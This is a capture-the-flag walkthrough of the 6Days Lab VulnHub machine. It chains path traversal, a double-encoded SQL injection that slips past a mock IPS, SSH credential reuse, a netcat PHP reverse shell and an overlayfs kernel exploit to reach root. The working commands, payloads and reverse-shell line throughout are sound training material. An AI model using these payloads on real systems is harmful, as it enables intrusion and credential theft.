6Days Lab: 1.1

6Days Lab: 1.1

Intro

This is my walkthrough of the 6days lab vulnhub machine. You can find this machine at 6Days Lab. If you want to attempt to hack into this machine without spoilers, don’t read the rest of this walkthrough.

Located machine on network

Once the victim machine was booted I performed a quick scan to identify what IP address the new machine received through DHCP.

root@sengen-kali:~/vulnhub/6days# nmap 192.168.56.0/24 -sn

Starting Nmap 7.50 ( https://nmap.org ) at 2017-07-27 14:44 PDT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.1
Host is up (0.00017s latency).
MAC Address: 0A:00:27:00:00:00 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00013s latency).
MAC Address: 08:00:27:EF:D4:FC (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.104
Host is up (0.00019s latency).
MAC Address: 08:00:27:0B:78:6D (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.90 seconds

Performed onetwopunch / nmap scans

Using the onetwopunch script which combines unicornscan and nmap I scanned the machine looking for open ports.

root@sengen-kali:~/vulnhub/6days# ~/onetwopunch.sh -t target.txt -p all -n "-A -sV"

Results indicated the following TCP/UDP ports were found.
[*] TCP ports for nmap to scan: 22,80
[!] No UDP ports found

Quick nmap scan also showed a filtered http-proxy port 8080

root@sengen-kali:~/vulnhub/6days# nmap 192.168.56.104

Starting Nmap 7.50 ( https://nmap.org ) at 2017-07-27 15:57 PDT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.104
Host is up (0.00015s latency).
Not shown: 997 closed ports
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
8080/tcp filtered http-proxy
MAC Address: 08:00:27:0B:78:6D (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.63 seconds

So it appears that SSH and a Web port is open
Navigated to the webpage and there’s a simple page with a promocode textbox and button.

Using the code NONEEDFORPENTEST results in a response of:
Code expired!

Viewing source

  • We see that the form submits to a php page called checkpromo.php
  • We also see an interesting piece for the broken image on the page
    • <img src=”http://192.168.56.104/image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQLk%2fV4OpiaoMJ7I%2fAAAAAAAAAiw%2f8kuCpTOpRWUAdp2p4GpegWdnOwxjwHNYQCLcB%2fs1600%2fphoto.jpg” />

LFI detected

This image link is rather suspicious as it is being provided as a parameter to another php page call image.php (this often means an LFI or RFI could be possible).

I tried a number of LFI paths in the browser but received errors on the page but then tried them again with curl with success:

root@sengen-kali:~/vulnhub/6days# curl http://192.168.56.104/image.php?src=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
whoopsie:x:104:107::/nonexistent:/bin/false
landscape:x:105:110::/var/lib/landscape:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
andrea:x:1001:1001::/home/andrea:/bin/andrea

The account andrea at the end is of interest so we’ll keep that in mind.

Searching for other files

The next thing was to see if we could get the other files that were referenced on the site to see what was in them.

checkpromo.php

root@sengen-kali:~/vulnhub/6days# curl http://192.168.56.104/image.php?src=../../../../../var/www/checkpromo.php
<?php
include 'config.php';

$conn = mysql_connect($servername, $username, $password);

if (!$conn) {
	die("Connection failed: " . $conn->connect_error);
}

$sql = "SELECT discount, status FROM promocodes WHERE promocode='".$_GET['promocode']."';";

mysql_select_db($dbname);
$result = mysql_query($sql, $conn);

if (!$result) {
	echo "Promocode not valid!";
} else {
	while($row = mysql_fetch_array($result, MYSQL_ASSOC))
	{
		if($row['status'] == 0)
			echo "Code expired!";
		else
			echo "You have %".$row['discount']." discount!";
	}
}

mysql_close($conn);
?>

config.php

root@sengen-kali:~/vulnhub/6days# curl http://192.168.56.104/image.php?src=../../../../../var/www/config.php
<?php
$servername = "localhost";
$username = "sellingstuff";
$password = "n0_\$\$_n0_g41ns";
$dbname = "fancydb";

image.php

root@sengen-kali:~/vulnhub/6days# curl http://192.168.56.104/image.php?src=../../../../../var/www/image.php
<?php
$img = $_GET['src'];
header('Content-Type: image/jpeg');
readfile($img);
?>

SQL Injection

So from the above pages I have now gathered, my interest was in the SQL injection that seemed possible through the promocode field. Although this is where things got a little tricky and not as straight forward as I expected.

The following is the SQL query that I tried to inject into:

$sql = "SELECT discount, status FROM promocodes WHERE promocode='".$_GET['promocode']."';";

It seems like this should be an easy injection into this query so I start out with some basic injections to try to get a confirmation.

Starting with a single tick I get an error response with the message: </i>“Malicious request blocked! ~Rashomon IPS”</i>

I tried a number of of different things such as ' or 1=1 or 'a'=' but nothing worked. I tried url encoding a tick as well (%27) and the result was it getting double url encoded at the destination (%2527)… weird. Not sure what that is about.

I looked through the source again and realized I had not actually grabbed the default page of the site so did that:

root@sengen-kali:~/vulnhub/6days# curl http://192.168.56.104/image.php?src=../../../../../var/www/index.php
<html>
<head>
<title>Rashomon IPS - Main Page</title>
</head>
<body>
<h2>Rashomon Intrusion Prevention System</h2>
<h3>Become immune to every attack!</h3>
Today we're announcing our brand new product, Rashomon IPS! <br />
It's capable of blocking any <b>sophisticated cyber attack</b> which <u>can harm your precious customers.</u> (you don't want THAT to happen, do you?) <br />
<img src="http://<? echo passthru("/sbin/ifconfig | /bin/grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | /bin/grep -Eo '([0-9]*\.){3}[0-9]*' | /bin/grep -v '127.0.0.1' | /usr/bin/tr -d '\n'"); ?>/image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQLk%2fV4OpiaoMJ7I%2fAAAAAAAAAiw%2f8kuCpTOpRWUAdp2p4GpegWdnOwxjwHNYQCLcB%2fs1600%2fphoto.jpg" /> <br />
(This guy is coming after your website!) <br />
<br />
Don't waste your time and money by hiring <font color="#ff00cc">pentesters</font> and doing real security audits. <br />
This is the best way to secure your organization and you can completely rely on it, and only it! <br />
<br />
IT'S SO SECURE WE EVEN USE IT ON OUR WEBSITE. <br />
<br />
So be quick and get a <u>%15 discount</u> on our newest product using the promocode <b>NONEEDFORPENTEST</b>. (discount will be available until yesterday)<br />
<br />
<form name="promo" method="GET" action="checkpromo.php">
Apply your promo code here: <input type="text" name="promocode">
<input type="submit" value="Apply Promo">
</form>
</body>
</html>
<?php

?>

PHP is using the passthru function that can execute arbitrary commands, however, nothing in this allows for injection from us it seems.

So these sanitizations are happening on my input from the main page but perhaps if I make the same request through the image page it may change. One thing to note is that since the parameter is a URL it needs to be URL encoded and the parameter it has for promocode needs to be URL encoded (so this ends up being double URL encoded).

With this in mind…

The request I want to make is: curl http://192.168.56.104/image.php?src=http://127.0.0.1/checkpromo.php?promocode='

URL encoding the parameter results in:

curl http://192.168.56.104/image.php?src=http%3a%2f%2f127.0.0.1%2fcheckpromo.php%3fpromocode%3d%2527
Malicious request blocked!
~Rashomon IPS

Same error… blocked.

Knowing about the potential proxy on 8080 that it may be able to use if the request was coming from local I add in the 8080 port to see if that makes a difference.

curl http://192.168.56.104/image.php?src=http%3a%2f%2f127.0.0.1%3a8080%2fcheckpromo.php%3fpromocode%3d%2527
Promocode not valid!

Success! It works while sending it a single tick which means I may have bypassed the Rashomon IPS filtering.

Making testing easier through a custom python script

To make things easier to test since all this encoding needs to happen I wrote the below python code to assist in executing commands as I perform some trial and error SQL.

#!/usr/bin/python3

import os
import sys
from urllib.parse import quote_plus

base_url = 'http://192.168.56.104/image.php?src='
proxy_url = quote_plus('http://127.0.0.1:8080/checkpromo.php?promocode=')
attack_string = quote_plus(quote_plus(sys.argv[1])).replace("-", "%252d")

print(base_url + proxy_url + attack_string)

for line in os.popen('curl ' + base_url + proxy_url + attack_string).read().splitlines():
    print(line)

This now allows me to make a call like ./query.py "'" which does the proper URL encoding for me.

1% discount
With some trial and error I was able to get a 1% discount message as seen below:

root@sengen-kali:~/vulnhub/6days# ./query.py "' union select 1,'1"
http://192.168.56.104/image.php?src=http%3A%2F%2F127.0.0.1%3A8080%2Fcheckpromo.php%3Fpromocode%3D%2527%2Bunion%2Bselect%2B1%252C%25271
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    21  100    21    0     0   2966      0 --:--:-- --:--:-- --:--:--  3500
You have %1 discount!

0% - Sleep(1)
Confirmed through a sleep that I was executing my select here:

root@sengen-kali:~/vulnhub/6days# ./query.py "' union select sleep(1),'1"
http://192.168.56.104/image.php?src=http%3A%2F%2F127.0.0.1%3A8080%2Fcheckpromo.php%3Fpromocode%3D%2527%2Bunion%2Bselect%2Bsleep%25281%2529%252C%25271
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    21  100    21    0     0     20      0  0:00:01  0:00:01 --:--:--    20
You have %0 discount!

Searching for valid tables

Due to the sleep trick I could execute queries to test for valid table names. If the table name was valid I would get the 1 second sleep, if it was invalid it would return immediately.

In the end, a “users” table was present:

root@sengen-kali:~/vulnhub/6days# ./query.py "' union select sleep(1), 1 from users union select 1, '1"
http://192.168.56.104/image.php?src=http%3A%2F%2F127.0.0.1%3A8080%2Fcheckpromo.php%3Fpromocode%3D%2527%2Bunion%2Bselect%2Bsleep%25281%2529%252C%2B1%2Bfrom%2Busers%2Bunion%2Bselect%2B1%252C%2B%25271
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    42  100    42    0     0     41      0  0:00:01  0:00:01 --:--:--    41
You have %0 discount!You have %1 discount!

Finding valid columns and ultimately credentials to an account we saw earlier in the /etc/passwd file

root@sengen-kali:~/vulnhub/6days# ./query.py "' union select username, 1 from users union select 1, '1"
http://192.168.56.104/image.php?src=http%3A%2F%2F127.0.0.1%3A8080%2Fcheckpromo.php%3Fpromocode%3D%2527%2Bunion%2Bselect%2Busername%252C%2B1%2Bfrom%2Busers%2Bunion%2Bselect%2B1%252C%2B%25271
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    47  100    47    0     0  11895      0 --:--:-- --:--:-- --:--:-- 15666
You have %<b>andrea</b> discount!You have %1 discount!

root@sengen-kali:~/vulnhub/6days# ./query.py "' union select password, 1 from users union select 1, '1"
http://192.168.56.104/image.php?src=http%3A%2F%2F127.0.0.1%3A8080%2Fcheckpromo.php%3Fpromocode%3D%2527%2Bunion%2Bselect%2Bpassword%252C%2B1%2Bfrom%2Busers%2Bunion%2Bselect%2B1%252C%2B%25271
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    56  100    56    0     0  19656      0 --:--:-- --:--:-- --:--:-- 28000
You have %<b>SayNoToPentests</b> discount!You have %1 discount!

SSH

So we now have some credentials (andrea / SayNoToPentests) and we’ll give a shot at using them to SSH into the target machine.

Success!

But we can’t seem to execute commands….

andrea@cypm:~$ ifconfig
andrea@cypm:~$ hostname
andrea@cypm:~$ uname -a
andrea@cypm:~$ pwd
andrea@cypm:~$ cd
rbash: cd: restricted
andrea@cypm:~$ 

No commands seem to be working and upon using ‘cd’ it becomes obvious we are in an rbash shell.

It seems we may be able to use wget so will try to get a reverse shell uploaded

andrea@cypm:~$ wget
wget: missing URL
Usage: wget [OPTION]... [URL]...
Try `wget --help' for more options.

Created php file to get a shell

root@sengen-kali:~/vulnhub/6day# cat shell.php
<?php echo shell_exec("/bin/nc -e /bin/sh 192.168.56.101 443");?>

Used wget to get it to the victim machine and put it in /var/www

andrea@cypm:~$ wget http://192.168.56.101/shell.php
--2017-07-27 22:25:32--  http://192.168.56.101/shell.php
Connecting to 192.168.56.101:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 0 [text/html]
Saving to: `shell.php'

    [ <=>                                                                        ] 0           --.-K/s   in 0s      

2017-07-27 22:25:32 (0.00 B/s) - `shell.php' saved [0/0]

andrea@cypm:~$ cp shell.php /var/www

Listened on netcat for the connection and called the shell.php page

Escalation to root

Gained a better PTY

which python
/usr/bin/python
/usr/bin/python -c 'import pty;pty.spawn("/bin/bash");'
www-data@cypm:/var/www$

Checked some permission misconfigurations for quick kills

www-data@cypm:/var/www$ ls -l /etc/passwd
ls -l /etc/passwd
-rw-r--r-- 1 root root 1142 Jul 11  2016 /etc/passwd
www-data@cypm:/var/www$ ls -l /etc/shadow
ls -l /etc/shadow
-rw-r----- 1 root shadow 1023 Jul 11  2016 /etc/shadow

Gathered some kernel version information

www-data@cypm:/var/www$ uname -a
uname -a
Linux cypm 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux

Did a searchsploit against the exact kernel version

root@sengen-kali:~/vulnhub/6day# searchsploit 3.13.0
---------------------------------------------------------------------------------- ----------------------------------
 Exploit Title                                                                    |  Path
                                                                                  | (/usr/share/exploitdb/platforms/)
---------------------------------------------------------------------------------- ----------------------------------
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Privile | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Privile | linux/local/37293.txt
---------------------------------------------------------------------------------- ----------------------------------

Pulled down linuxprivchecker to get a report

www-data@cypm:/var/www$ ls -l /etc/shadow
ls -l /etc/shadow
-rw-r----- 1 root shadow 1023 Jul 11  2016 /etc/shadow
www-data@cypm:/var/www$ wget http://192.168.56.101/common/lpc.py
wget http://192.168.56.101/common/lpc.py
--2017-07-28 03:11:35--  http://192.168.56.101/common/lpc.py
Connecting to 192.168.56.101:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25304 (25K) [text/x-python]
Saving to: `lpc.py'

100%[======================================>] 25,304      --.-K/s   in 0.001s  

2017-07-28 03:11:35 (34.0 MB/s) - `lpc.py' saved [25304/25304]

www-data@cypm:/var/www$ /usr/bin/python ./lpc.py

A number of possible exploits were listed by linux priv checker as well
Kernel ia32syscall Emulation Privilege Escalation || http://www.exploit-db.com/exploits/15023 || Language=c
Sendpage Local Privilege Escalation || http://www.exploit-db.com/exploits/19933 || Language=ruby**
CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) || http://www.exploit-db.com/exploits/15944 || Language=c
CAP_SYS_ADMIN to root Exploit || http://www.exploit-db.com/exploits/15916 || Language=c
MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c
open-time Capability file_ns_capable() Privilege Escalation || http://www.exploit-db.com/exploits/25450 || Language=c
open-time Capability file_ns_capable() - Privilege Escalation Vulnerability || http://www.exploit-db.com/exploits/25307 || Language=c

I decided to start with the exact kernel version exploit since this one in particular came up and because it is overlayfs which is a very common vulnerability that I have successfully used on many linux machines. If it doesn’t work I can move on to the others.

Copied the exploit to the system, compiled, and ran it

So, on the first exploit pulled down it works…

Locating flag file

# find / -name *flag*
find / -name *flag*
/flag
# file /flag
file /flag
/flag: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x1c1ab047fe9e780a761aade9bc9b22efe3a9765b, not stripped
# /flag
/flag


  _________ _____  __  ______  __  ______ _      ______    ____ ___  ___
 / ___/ __ `/ __ \/ / / / __ \/ / / / __ \ | /| / / __ \  / __ `__ \/ _ \
/ /__/ /_/ / / / / /_/ / /_/ / /_/ / /_/ / |/ |/ / / / / / / / / / /  __/
\___/\__,_/_/ /_/\__, /\____/\__,_/ .___/|__/|__/_/ /_(_)_/ /_/ /_/\___/
                /____/           /_/


        Author: @1ce7ea


	Congratulations on successfully completing our boot2root vm!
	Please consider visiting our website and following us on Twitter.
	And please provide feedback. I hope you enjoyed it :)

	Website: http://canyoupwn.me/
	Twitter: https://twitter.com/canyoupwnme
	Author: https://twitter.com/1ce7ea
comments powered by Disqus